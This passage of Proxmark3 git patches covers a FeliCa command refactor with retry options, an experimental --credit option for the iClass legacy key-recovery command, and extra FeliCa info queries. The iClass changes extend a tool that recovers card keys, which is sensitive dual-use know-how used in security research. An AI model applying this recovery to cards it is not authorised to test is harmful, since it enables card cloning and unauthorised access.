felica_read_without_encryption_response_t rd_noCry_resp; - if ((send_rd_plain(flags, datalen, data, 0, &rd_noCry_resp) == PM3_SUCCESS)) { - print_rd_plain_response(&rd_noCry_resp, i); + if ((send_read_without_encryption(flags, datalen, data, 0, &rd_noCry_resp) == PM3_SUCCESS)) { + print_read_without_encryption_response(&rd_noCry_resp, i); } else { break; } } } else { felica_read_without_encryption_response_t rd_noCry_resp; - if (send_rd_plain(flags, datalen, data, 1, &rd_noCry_resp) == PM3_SUCCESS) { - print_rd_plain_response(&rd_noCry_resp, bnlen ? bn[0] : 0); + if (send_read_without_encryption(flags, datalen, data, 1, &rd_noCry_resp) == PM3_SUCCESS) { + print_read_without_encryption_response(&rd_noCry_resp, bnlen ? bn[0] : 0); } } return PM3_SUCCESS; @@ -1734,13 +1817,16 @@ static int CmdHFFelicaDump(const char *Cmd) { CLIParserInit(&ctx, "hf felica dump", "Dump all existing Area Code and Service Code.\n" "Only works on services that do not require authentication yet.\n", - "hf felica dump"); + "hf felica dump\n" + "hf felica dump --retry 5"); void *argtable[] = { arg_param_begin, arg_lit0(NULL, "no-auth", "read public services"), + arg_u64_0("r", "retry", "", "number of retries"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); + uint32_t retry_count = arg_get_u32_def(ctx, 2, FELICA_DEFAULT_RETRY_COUNT); CLIParserFree(ctx); // bool no_auth = arg_get_lit(ctx, 1); @@ -1770,15 +1856,16 @@ static int CmdHFFelicaDump(const char *Cmd) { int ret = PM3_SUCCESS; uint16_t cursor = 0x0000; - felica_service_dump_response_t resp; + felica_search_service_code_response_t resp; while (true) { data_service_dump[10] = cursor & 0xFF; data_service_dump[11] = cursor >> 8; - if (send_dump_sv_plain(flags, service_datalen, data_service_dump, 0, - &resp, false) != PM3_SUCCESS) { + if (send_search_service_code(flags, service_datalen, data_service_dump, 0, + FELICA_DEFAULT_TIMEOUT_MS, retry_count, + &resp) != PM3_SUCCESS) { PrintAndLogEx(FAILED, "No response at cursor 0x%04X", cursor); ret = PM3_ERFTRANS; break; @@ -1786,15 +1873,6 @@ static int CmdHFFelicaDump(const char *Cmd) { // After first command, drop CONNECT flag — field is already up flags = FELICA_NO_DISCONNECT | FELICA_APPEND_CRC | FELICA_RAW; - - if (resp.frame_response.cmd_code[0] != 0x0B) { - PrintAndLogEx(FAILED, "Bad response cmd 0x%02X @ 0x%04X.", - resp.frame_response.cmd_code[0], cursor); - PrintAndLogEx(INFO, "This is a normal signal issue. Please try again."); - PrintAndLogEx(INFO, "If the issue persists, move the card around and check signal strength. FeliCa can be hard to keep in field."); - ret = PM3_ERFTRANS; - break; - } uint8_t len = resp.frame_response.length[0]; uint16_t node_code = resp.payload[0] | (resp.payload[1] << 8); if (node_code == 0xFFFF) break; @@ -1850,9 +1928,11 @@ static int CmdHFFelicaDump(const char *Cmd) { for (uint16_t i = 0x00; i < last_blockno; i++) { data_block_dump[15] = i; felica_read_without_encryption_response_t rd_noCry_resp; - if ((send_rd_plain(flags, block_datalen, data_block_dump, 0, &rd_noCry_resp) == PM3_SUCCESS)) { + if ((send_read_without_encryption_ex(flags, block_datalen, data_block_dump, 0, + &rd_noCry_resp, + FELICA_DEFAULT_TIMEOUT_MS, retry_count) == PM3_SUCCESS)) { if (rd_noCry_resp.status_flags.status_flag1[0] == 0 && rd_noCry_resp.status_flags.status_flag2[0] == 0) { - print_rd_plain_response(&rd_noCry_resp, i); + print_read_without_encryption_response(&rd_noCry_resp, i); } else { break; // no more blocks to read } @@ -2000,9 +2080,15 @@ static int CmdHFFelicaDumpServiceArea(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "hf felica scsvcode", "Dump all existing Area Code and Service Code.\n", - "hf felica scsvcode"); - void *argtable[] = { arg_param_begin, arg_param_end }; + "hf felica scsvcode\n" + "hf felica scsvcode --retry 5"); + void *argtable[] = { + arg_param_begin, + arg_u64_0("r", "retry", "", "number of retries"), + arg_param_end + }; CLIExecWithReturn(ctx, Cmd, argtable, true); + uint32_t retry_count = arg_get_u32_def(ctx, 1, FELICA_DEFAULT_RETRY_COUNT); CLIParserFree(ctx); /* -- build static part of Search-Service frame ---------------- */ @@ -2028,7 +2114,7 @@ static int CmdHFFelicaDumpServiceArea(const char *Cmd) { uint16_t area_end_stack[8] = {0xFFFF}; /* root "end" = 0xFFFF */ int depth = 0; /* current stack depth */ - felica_service_dump_response_t resp; + felica_search_service_code_response_t resp; while (true) { @@ -2036,8 +2122,9 @@ static int CmdHFFelicaDumpServiceArea(const char *Cmd) { data[10] = cursor & 0xFF; data[11] = cursor >> 8; - if (send_dump_sv_plain(flags, datalen, data, 0, - &resp, false) != PM3_SUCCESS) { + if (send_search_service_code(flags, datalen, data, 0, + FELICA_DEFAULT_TIMEOUT_MS, retry_count, + &resp) != PM3_SUCCESS) { PrintAndLogEx(FAILED, "No response at cursor 0x%04X", cursor); ret = PM3_ERFTRANS; break; @@ -2046,15 +2133,6 @@ static int CmdHFFelicaDumpServiceArea(const char *Cmd) { // After first command, drop CONNECT flag — field is already up flags = FELICA_NO_DISCONNECT | FELICA_APPEND_CRC | FELICA_RAW; - if (resp.frame_response.cmd_code[0] != 0x0B) { - PrintAndLogEx(FAILED, "Bad response cmd 0x%02X @ 0x%04X.", - resp.frame_response.cmd_code[0], cursor); - PrintAndLogEx(INFO, "This is a normal signal issue. Please try again."); - PrintAndLogEx(INFO, "If the issue persists, move the card around and check signal strength. FeliCa can be hard to keep in field."); - ret = PM3_ERFTRANS; - break; - } - uint8_t len = resp.frame_response.length[0]; uint16_t node_code = resp.payload[0] | (resp.payload[1] << 8); /* LE for traversal */ uint16_t node_code_net = (resp.payload[0] << 8) | resp.payload[1]; /* BE for display */ @@ -2379,29 +2457,6 @@ static int parse_multiple_block_data(const uint8_t *data, const size_t datalen, return PM3_SUCCESS; } -static int send_rd_multiple_plain(uint8_t flags, uint16_t datalen, uint8_t *data, uint8_t *out) { - clear_and_send_command(flags, datalen, data, false); - PacketResponseNG res; - if (waitCmdFelica(false, &res, false) == false) { - PrintAndLogEx(ERR, "\nGot no response from card"); - return PM3_ERFTRANS; - } - - uint8_t block_data[FELICA_BLK_SIZE * 4]; - memset(block_data, 0, sizeof(block_data)); - - uint8_t outlen = 0; - - int ret = parse_multiple_block_data(res.data.asBytes, sizeof(res.data.asBytes), block_data, &outlen); - if (ret) { - return PM3_ERFTRANS; - } - - memcpy(out, block_data, outlen); - - return PM3_SUCCESS; -} - static int felica_auth_context_init( mbedtls_des3_context *ctx, const uint8_t *rc, @@ -2582,7 +2637,7 @@ static int felica_internal_authentication( uint8_t flags = (FELICA_APPEND_CRC | FELICA_RAW | FELICA_NO_DISCONNECT); felica_status_response_t res; - if (send_wr_plain(flags, datalen, data, false, &res) != PM3_SUCCESS) { + if (send_write_without_encryption(flags, datalen, data, false, &res) != PM3_SUCCESS) { return PM3_ERFTRANS; } @@ -2600,11 +2655,20 @@ static int felica_internal_authentication( return PM3_ERFTRANS; } + felica_read_without_encryption_response_t rd_resp; + memset(&rd_resp, 0, sizeof(rd_resp)); + + ret = send_read_without_encryption(flags, datalen, data, false, &rd_resp); + if (ret) { + return PM3_ERFTRANS; + } + uint8_t pd[FELICA_BLK_SIZE * sizeof(blk_numbers2)]; memset(pd, 0, sizeof(pd)); - ret = send_rd_multiple_plain(flags, datalen, data, pd); - if (ret) { + uint8_t pd_len = 0; + ret = parse_multiple_block_data((const uint8_t *)&rd_resp, sizeof(rd_resp), pd, &pd_len); + if (ret || pd_len != sizeof(pd)) { return PM3_ERFTRANS; } @@ -2663,12 +2727,21 @@ static int felica_external_authentication( return PM3_ERFTRANS; } - uint8_t wcnt_blk[FELICA_BLK_SIZE]; - ret = send_rd_multiple_plain(flags, datalen, data, wcnt_blk); + felica_read_without_encryption_response_t rd_resp; + memset(&rd_resp, 0, sizeof(rd_resp)); + + ret = send_read_without_encryption(flags, datalen, data, false, &rd_resp); if (ret) { return PM3_ERFTRANS; } + uint8_t wcnt_blk[FELICA_BLK_SIZE]; + uint8_t wcnt_len = 0; + ret = parse_multiple_block_data((const uint8_t *)&rd_resp, sizeof(rd_resp), wcnt_blk, &wcnt_len); + if (ret || wcnt_len != sizeof(wcnt_blk)) { + return PM3_ERFTRANS; + } + uint8_t ext_auth[FELICA_BLK_SIZE]; memset(ext_auth, 0, sizeof(ext_auth)); @@ -2693,7 +2766,7 @@ static int felica_external_authentication( } felica_status_response_t res; - if (send_wr_plain(flags, datalen, data, false, &res) != PM3_SUCCESS) { + if (send_write_without_encryption(flags, datalen, data, false, &res) != PM3_SUCCESS) { return PM3_ERFTRANS; } diff --git a/client/src/cmdhffelica.h b/client/src/cmdhffelica.h index 6ab42aa36..2fd8b5634 100644 --- a/client/src/cmdhffelica.h +++ b/client/src/cmdhffelica.h @@ -25,7 +25,5 @@ int CmdHFFelica(const char *Cmd); int read_felica_uid(bool loop, bool verbose); int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose); -int send_rd_plain(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_read_without_encryption_response_t *rd_noCry_resp); -int send_dump_sv_plain(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, felica_service_dump_response_t *dump_sv_resp, bool is_area); #endif diff --git a/include/iso18.h b/include/iso18.h index 60fa431d9..95cf16ed6 100644 --- a/include/iso18.h +++ b/include/iso18.h @@ -101,7 +101,7 @@ typedef struct { felica_frame_response_t frame_response; felica_status_flags_t status_flags; uint8_t number_of_block[1]; - uint8_t block_data[16]; + uint8_t block_data[16 * 15]; } PACKED felica_read_without_encryption_response_t; typedef struct { @@ -140,7 +140,7 @@ typedef struct { typedef struct { felica_frame_response_t frame_response; uint8_t payload[4]; -} PACKED felica_service_dump_response_t; +} PACKED felica_search_service_code_response_t; typedef struct { uint8_t command_code[1]; From 5041fbffa7dd8595be6026c279fee4d460368261 Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Thu, 5 Mar 2026 19:32:52 +0800 Subject: [PATCH 055/162] Added --creidit option for hf iclass legrec Added --creidit option for hf iclass legrec --- CHANGELOG.md | 1 + armsrc/iclass.c | 19 +++++++++++++++---- client/src/cmdhficlass.c | 35 +++++++++++++++++++++++++++-------- include/iclass_cmd.h | 1 + 4 files changed, 44 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 688a17175..70745ccce 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added --credit option for `hf iclass legrec` command to perform a credit key recovery. This is experimental and unfinished as it only partially works.(@antiklesys) - Added hardening for all host binaries. Exact level of hardening depends on the OS (@doegox) - Added `hf aliro read` command (@kormax) - Added `hf aliro info` command (@kormax) diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 4a1563aea..32f05791c 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2746,6 +2746,9 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint32_t start_time = 0; uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 with credit key uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs + if (msg->credit_recovery == true){ + read_check_cc[0] = 0x80 | ICLASS_CMD_READCHECK; //still block 24 but with debit key + } /* iclass_mac_table is a series of weak macs, those weak macs correspond to the different combinations of the last 3 bits of each key byte. */ @@ -2788,7 +2791,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { } //Step0 Card Select Routine eof_time = 0; //reset eof time - res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); + res = select_iclass_tag(&hdr, msg->credit_recovery, &eof_time, shallow_mod); if (res) { status_message = 1; //card select successful card_select = true; @@ -2796,14 +2799,16 @@ void iClass_Recover(iclass_recover_req_t *msg) { //Step 0A - The read_check_cc block has to be in AA2, set it by checking the card configuration read_check_cc[1] = hdr.conf.app_limit + 1; //first block of AA2 - + if (msg->credit_recovery == true){ + read_check_cc[1] = hdr.conf.app_limit - 1; //last block of AA1 + } //Step1 Authenticate with AA1 using trace if (card_select) { memcpy(original_mac, msg->req.key, 8); start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER; res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); if (res) { - status_message = 2; //authentication with AA1 macs successful + status_message = 2; //authentication with AA1(AA2 if credit recovery) macs successful card_auth = true; } } @@ -2852,7 +2857,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { set_tracing(false); // disable tracing to prevent crashes - set to true for debugging // Step0 Card Select Routine eof_time = 0; // reset eof time - res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod); + res = select_iclass_tag(&hdr, msg->credit_recovery, &eof_time, shallow_mod); if (res) { status_message = 1; // card select successful card_select = true; @@ -2923,6 +2928,9 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint8_t wb[9] = {0}; uint8_t blockno = 3; + if (msg->credit_recovery == true){ + blockno = 4; + } wb[0] = blockno; memcpy(wb + 1, genkeyblock, 8); doMAC_N(wb, sizeof(wb), div_key2, mac2); @@ -3072,6 +3080,9 @@ fast_restore: uint8_t mac2[4] = {0}; uint8_t wb[9] = {0}; uint8_t blockno = 3; + if (msg->credit_recovery == true){ + blockno = 4; + } wb[0] = blockno; bool reverted = false; uint8_t revert_retries = 0; diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index e565c9e6b..09fa7cb60 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4610,7 +4610,7 @@ void picopass_elite_nextKey(uint8_t *key) { memcpy(key, key_state, PICOPASS_BLOCK_SIZE); } -static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, uint8_t no_first_auth[8], bool debug, bool test, bool fast, bool short_delay, bool allnight) { +static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, uint8_t no_first_auth[8], bool debug, bool test, bool fast, bool short_delay, bool allnight, bool credit) { int runs = 1; int cycle = 1; @@ -4644,6 +4644,7 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u payload->test = test; payload->fast = fast; payload->short_delay = short_delay; + payload->credit_recovery = credit; memcpy(payload->nfa, no_first_auth, PICOPASS_BLOCK_SIZE); memcpy(payload->req.key, key, PICOPASS_BLOCK_SIZE); memcpy(payload->req2.key, aa2_standard_key, PICOPASS_BLOCK_SIZE); @@ -4925,7 +4926,7 @@ static void generate_single_key_block_inverted_opt(const uint8_t *startingKey, u } -static int CmdHFiClassLegacyRecSim(void) { +static int CmdHFiClassLegacyRecSim(bool credit) { PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, _YELLOW_("This simulation assumes the card is standard keyed.")); @@ -4940,7 +4941,11 @@ static int CmdHFiClassLegacyRecSim(void) { } uint8_t new_div_key[8] = {0}; - HFiClassCalcDivKey(csn, iClass_Key_Table[0], new_div_key, false); + if (credit == true){ + HFiClassCalcDivKey(csn, iClass_Key_Table[1], new_div_key, false); + }else{ + HFiClassCalcDivKey(csn, iClass_Key_Table[0], new_div_key, false); + } uint8_t key[PICOPASS_BLOCK_SIZE] = {0}; uint8_t original_key[PICOPASS_BLOCK_SIZE] = {0}; @@ -5016,7 +5021,8 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { arg_lit0(NULL, "allnight", "Loops the loop for 10 times, recommended loop value of 5000"), arg_lit0(NULL, "fast", "Increases the speed (4.6->7.4 key updates/second), higher risk to brick the card"), arg_lit0(NULL, "sl", "Lower card comms delay times, further speeds increases, may cause more errors"), - arg_lit0(NULL, "est", "Estimates the key updates based on the card's CSN assuming standard key"), + arg_lit0(NULL, "est", "Estimates the key updates based on the card's CSN assuming standard key, can be used with --credit option"), + arg_lit0(NULL, "credit", "EXPERIMENTAL : Recover the credit key using KD 0"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); @@ -5034,9 +5040,10 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { bool fast = arg_get_lit(ctx, 7); bool short_delay = arg_get_lit(ctx, 8); bool sim = arg_get_lit(ctx, 9); + bool credit = arg_get_lit(ctx, 10); if (sim) { - CmdHFiClassLegacyRecSim(); + CmdHFiClassLegacyRecSim(credit); return PM3_SUCCESS; } @@ -5048,9 +5055,14 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { PrintAndLogEx(ERR, "Too many loops, arm prone to crashes. For safety specify a number lower than 10000"); CLIParserFree(ctx); return PM3_EINVARG; - } else if (debug || test) { + } else if (test) { loop = 1; fast = false; + }else if (debug) { + if (loop > 10){ + loop = 10; + } + fast = false; } uint8_t csn[PICOPASS_BLOCK_SIZE] = {0}; @@ -5060,7 +5072,14 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { DropField(); return PM3_ESOFT; } - diversifyKey(csn, iClass_Key_Table[1], new_div_key); + + if(credit == true){ + diversifyKey(csn, iClass_Key_Table[0], new_div_key); + fast = false; + }else{ + diversifyKey(csn, iClass_Key_Table[1], new_div_key); + } + memcpy(no_first_auth, new_div_key, PICOPASS_BLOCK_SIZE); CLIParserFree(ctx); @@ -5074,7 +5093,7 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { PrintAndLogEx(INFO, "---------------------------------------"); PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " to abort"); PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); - iclass_recover(macs, index, loop, no_first_auth, debug, test, fast, short_delay, allnight); + iclass_recover(macs, index, loop, no_first_auth, debug, test, fast, short_delay, allnight, credit); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(WARNING, _YELLOW_("If the process completed successfully")); PrintAndLogEx(HINT, "Hint: run `" _YELLOW_("hf iclass legbrute -h") "` with the partial key found"); diff --git a/include/iclass_cmd.h b/include/iclass_cmd.h index 259c8cc2f..2ffc14136 100644 --- a/include/iclass_cmd.h +++ b/include/iclass_cmd.h @@ -128,6 +128,7 @@ typedef struct { bool test; bool fast; bool short_delay; + bool credit_recovery; } PACKED iclass_recover_req_t; typedef struct iclass_premac { From 0d2741d75759d8e7fc020d42eb98945ea1bc192b Mon Sep 17 00:00:00 2001 From: Antiklesys Date: Thu, 5 Mar 2026 21:38:16 +0800 Subject: [PATCH 056/162] Unused variables code cleanup Code cleanup of unused payload variables for iclass legrec --- client/src/cmdhficlass.c | 8 -------- include/iclass_cmd.h | 1 - 2 files changed, 9 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 09fa7cb60..9506ce788 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4631,13 +4631,6 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u payload->req.send_reply = true; payload->req.do_auth = true; payload->req.shallow_mod = false; - payload->req2.use_raw = false; - payload->req2.use_elite = false; - payload->req2.use_credit_key = true; - payload->req2.use_replay = false; - payload->req2.send_reply = true; - payload->req2.do_auth = true; - payload->req2.shallow_mod = false; payload->index = index_start; payload->loop = loop; payload->debug = debug; @@ -4647,7 +4640,6 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u payload->credit_recovery = credit; memcpy(payload->nfa, no_first_auth, PICOPASS_BLOCK_SIZE); memcpy(payload->req.key, key, PICOPASS_BLOCK_SIZE); - memcpy(payload->req2.key, aa2_standard_key, PICOPASS_BLOCK_SIZE); PrintAndLogEx(INFO, "Recover started..."); diff --git a/include/iclass_cmd.h b/include/iclass_cmd.h index 2ffc14136..f3573b81f 100644 --- a/include/iclass_cmd.h +++ b/include/iclass_cmd.h @@ -120,7 +120,6 @@ typedef struct { typedef struct { iclass_auth_req_t req; - iclass_auth_req_t req2; uint32_t index; uint32_t loop; uint8_t nfa[8]; From ec25ea77a48a062ec2b89de3fceb0a5800b5732d Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Thu, 5 Mar 2026 17:11:30 +0200 Subject: [PATCH 057/162] Extract more information with 'hf felica info' --- client/src/cmdhffelica.c | 315 +++++++++++++++++++++++++++++++++++---- client/src/util.c | 33 ++++ client/src/util.h | 1 + include/iso18.h | 47 ++++++ include/protocols.h | 12 ++ 5 files changed, 378 insertions(+), 30 deletions(-) diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index beb4841d2..37c7561f2 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -28,6 +28,7 @@ #include "util.h" #include "ui.h" #include "iso18.h" // felica_card_select_t struct +#include "protocols.h" #include "des.h" #include "platform_util.h" #include "cliparser.h" // cliparser @@ -45,6 +46,10 @@ #define FELICA_DEFAULT_TIMEOUT_MS 2000U #define FELICA_DEFAULT_RETRY_COUNT 3U +#define FELICA_PLATFORM_INFO_MAX_LEN 64U +#define FELICA_CONTAINER_PROPERTY_MAX_LEN 64U +#define FELICA_OPTIONAL_CMD_TIMEOUT_MS 250U +#define FELICA_OPTIONAL_CMD_RETRIES 3U #define FELICA_SERVICE_ATTRIBUTE_UNAUTH_READ (0b000001) #define FELICA_SERVICE_ATTRIBUTE_READ_ONLY (0b000010) @@ -56,6 +61,9 @@ static int CmdHelp(const char *Cmd); static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose); +static int send_felica_payload_with_retries(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, + PacketResponseNG *resp, const char *request_name); static felica_card_select_t last_known_card; static void set_last_known_card(felica_card_select_t card) { @@ -283,15 +291,18 @@ static const char *felica_model_name(uint8_t rom_type, uint8_t ic_type) { * Wait for response from pm3 or timeout. * Checks if receveid bytes have a valid CRC. * @param verbose prints out the response received. + * @param logging prints warning/error logs. */ -static bool waitCmdFelicaEx(bool iSelect, PacketResponseNG *resp, bool verbose, uint32_t timeout_ms) { +static bool waitCmdFelicaEx(bool iSelect, PacketResponseNG *resp, bool verbose, bool logging, uint32_t timeout_ms) { if (WaitForResponseTimeout(CMD_HF_FELICA_COMMAND, resp, timeout_ms) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply"); + if (logging) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + } return false; } if (resp->status != PM3_SUCCESS) { - if (verbose) { + if (logging) { PrintAndLogEx(WARNING, "FeliCa command failed (%d)", resp->status); } return false; @@ -299,35 +310,43 @@ static bool waitCmdFelicaEx(bool iSelect, PacketResponseNG *resp, bool verbose, uint16_t len = resp->length; - if (verbose) { - - if (len == 0 || len == 1) { + if (len == 0 || len == 1) { + if (logging) { PrintAndLogEx(ERR, "Could not receive data correctly!"); + } + return false; + } + + if (iSelect == false) { + if (len < 4) { + if (logging) { + PrintAndLogEx(ERR, "received too short frame!"); + } return false; } - PrintAndLogEx(SUCCESS, "(%u) %s", len, sprint_hex(resp->data.asBytes, len)); - - if (iSelect == false) { - if (len < 4) { - PrintAndLogEx(ERR, "received too short frame!"); - return false; - } - if (check_crc(CRC_FELICA, resp->data.asBytes + 2, len - 2) == false) { + if (check_crc(CRC_FELICA, resp->data.asBytes + 2, len - 2) == false) { + if (logging) { PrintAndLogEx(WARNING, "CRC ( " _RED_("fail") " )"); } - - if (resp->data.asBytes[0] != 0xB2 || resp->data.asBytes[1] != 0x4D) { - PrintAndLogEx(ERR, "received incorrect frame format!"); - return false; - } } + + if (resp->data.asBytes[0] != 0xB2 || resp->data.asBytes[1] != 0x4D) { + if (logging) { + PrintAndLogEx(ERR, "received incorrect frame format!"); + } + return false; + } + } + + if (verbose && logging) { + PrintAndLogEx(SUCCESS, "(%u) %s", len, sprint_hex(resp->data.asBytes, len)); } return true; } static bool waitCmdFelica(bool iSelect, PacketResponseNG *resp, bool verbose) { - return waitCmdFelicaEx(iSelect, resp, verbose, FELICA_DEFAULT_TIMEOUT_MS); + return waitCmdFelicaEx(iSelect, resp, verbose, true, FELICA_DEFAULT_TIMEOUT_MS); } @@ -425,11 +444,150 @@ static int CmdHFFelicaReader(const char *Cmd) { return read_felica_uid(cm, verbose); } +static int send_get_container_id(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + felica_get_container_id_response_t *container_id_response) { + (void)verbose; + PacketResponseNG resp; + if (send_felica_payload_with_retries(flags, datalen, data, false, + FELICA_GET_CONTAINER_ID_ACK, + FELICA_OPTIONAL_CMD_TIMEOUT_MS, FELICA_OPTIONAL_CMD_RETRIES, + false, &resp, "get container id") != PM3_SUCCESS) { + return PM3_ERFTRANS; + } + + if (resp.length < sizeof(*container_id_response)) { + return PM3_ESOFT; + } + + memcpy(container_id_response, (felica_get_container_id_response_t *)resp.data.asBytes, sizeof(*container_id_response)); + return PM3_SUCCESS; +} + +static int send_get_container_property(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + uint8_t *container_property_data, size_t container_property_data_capacity, + size_t *container_property_data_len) { + (void)verbose; + if (container_property_data == NULL || container_property_data_len == NULL) { + return PM3_EINVARG; + } + + *container_property_data_len = 0; + + PacketResponseNG resp; + if (send_felica_payload_with_retries(flags, datalen, data, false, + FELICA_GET_CONTAINER_PROPERTY_ACK, + FELICA_OPTIONAL_CMD_TIMEOUT_MS, FELICA_OPTIONAL_CMD_RETRIES, + false, &resp, "get container property") != PM3_SUCCESS) { + return PM3_ERFTRANS; + } + + if (resp.length < sizeof(felica_get_container_property_response_t)) { + return PM3_ESOFT; + } + + const size_t frame_len_offset = 2; + if (resp.data.asBytes[frame_len_offset] < 2) { + return PM3_ESOFT; + } + + const size_t property_data_len = resp.data.asBytes[frame_len_offset] - 2; + if (property_data_len == 0 || property_data_len > FELICA_CONTAINER_PROPERTY_MAX_LEN) { + return PM3_ESOFT; + } + + const size_t property_data_offset = sizeof(felica_frame_response_noidm_t); + if (resp.length < property_data_offset + property_data_len) { + return PM3_ESOFT; + } + + size_t copy_len = property_data_len; + if (copy_len > container_property_data_capacity) { + copy_len = container_property_data_capacity; + } + + memcpy(container_property_data, resp.data.asBytes + property_data_offset, copy_len); + *container_property_data_len = copy_len; + return PM3_SUCCESS; +} + +static int send_get_container_issue_information(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + felica_get_container_issue_info_response_t *container_issue_info_response) { + (void)verbose; + PacketResponseNG resp; + if (send_felica_payload_with_retries(flags, datalen, data, false, + FELICA_GET_CONTAINER_ISSUE_INFO_ACK, + FELICA_OPTIONAL_CMD_TIMEOUT_MS, FELICA_OPTIONAL_CMD_RETRIES, + false, &resp, "get container issue info") != PM3_SUCCESS) { + return PM3_ERFTRANS; + } + + if (resp.length < sizeof(*container_issue_info_response)) { + return PM3_ESOFT; + } + + memcpy(container_issue_info_response, (felica_get_container_issue_info_response_t *)resp.data.asBytes, sizeof(*container_issue_info_response)); + return PM3_SUCCESS; +} + +static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, + felica_status_flags_t *status_flags, uint8_t *platform_information_data, + size_t platform_information_data_capacity, size_t *platform_information_data_len) { + (void)verbose; + if (status_flags == NULL || platform_information_data == NULL || platform_information_data_len == NULL) { + return PM3_EINVARG; + } + + *platform_information_data_len = 0; + + PacketResponseNG resp; + if (send_felica_payload_with_retries(flags, datalen, data, false, + FELICA_GETPLATFORMINFO_ACK, + FELICA_OPTIONAL_CMD_TIMEOUT_MS, FELICA_OPTIONAL_CMD_RETRIES, + false, &resp, "get platform info") != PM3_SUCCESS) { + return PM3_ERFTRANS; + } + + if (resp.length < (sizeof(felica_frame_response_t) + sizeof(felica_status_flags_t))) { + return PM3_ESOFT; + } + + const size_t status_offset = sizeof(felica_frame_response_t); + memcpy(status_flags, resp.data.asBytes + status_offset, sizeof(*status_flags)); + + if (status_flags->status_flag1[0] != 0x00 || status_flags->status_flag2[0] != 0x00) { + return PM3_SUCCESS; + } + + const size_t data_len_offset = sizeof(felica_frame_response_t) + sizeof(felica_status_flags_t); + if (resp.length < (data_len_offset + 1)) { + return PM3_ESOFT; + } + + const size_t payload_len = resp.length - (data_len_offset + 1); + const size_t data_len = resp.data.asBytes[data_len_offset]; + if (data_len > FELICA_PLATFORM_INFO_MAX_LEN) { + return PM3_ESOFT; + } + if (payload_len < data_len) { + return PM3_ESOFT; + } + + size_t copy_len = data_len; + if (copy_len > platform_information_data_capacity) { + copy_len = platform_information_data_capacity; + } + + memcpy(platform_information_data, resp.data.asBytes + data_len_offset + 1, copy_len); + *platform_information_data_len = copy_len; + return PM3_SUCCESS; +} + static int info_felica(bool verbose) { - clear_and_send_command(FELICA_CONNECT, 0, NULL, false); + clear_and_send_command(FELICA_CONNECT | FELICA_NO_DISCONNECT, 0, NULL, false); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_HF_FELICA_COMMAND, &resp, 2500) == false) { + DropField(); if (verbose) PrintAndLogEx(WARNING, "FeliCa card select failed"); return PM3_ESOFT; } @@ -457,6 +615,7 @@ static int info_felica(bool verbose) { } break; } + DropField(); return resp.status; } @@ -464,6 +623,7 @@ static int info_felica(bool verbose) { if (verbose) { PrintAndLogEx(WARNING, "FeliCa card select returned invalid payload"); } + DropField(); return PM3_ESOFT; } @@ -479,8 +639,98 @@ static int info_felica(bool verbose) { PrintAndLogEx(INFO, "IC code........ %s ( " _YELLOW_("%s") " )", sprint_hex_inrow(card.iccode, sizeof(card.iccode)), felica_model_name(card.iccode[0], card.iccode[1])); PrintAndLogEx(INFO, "MRT............ %s", sprint_hex_inrow(card.mrt, sizeof(card.mrt))); PrintAndLogEx(INFO, "Service code... " 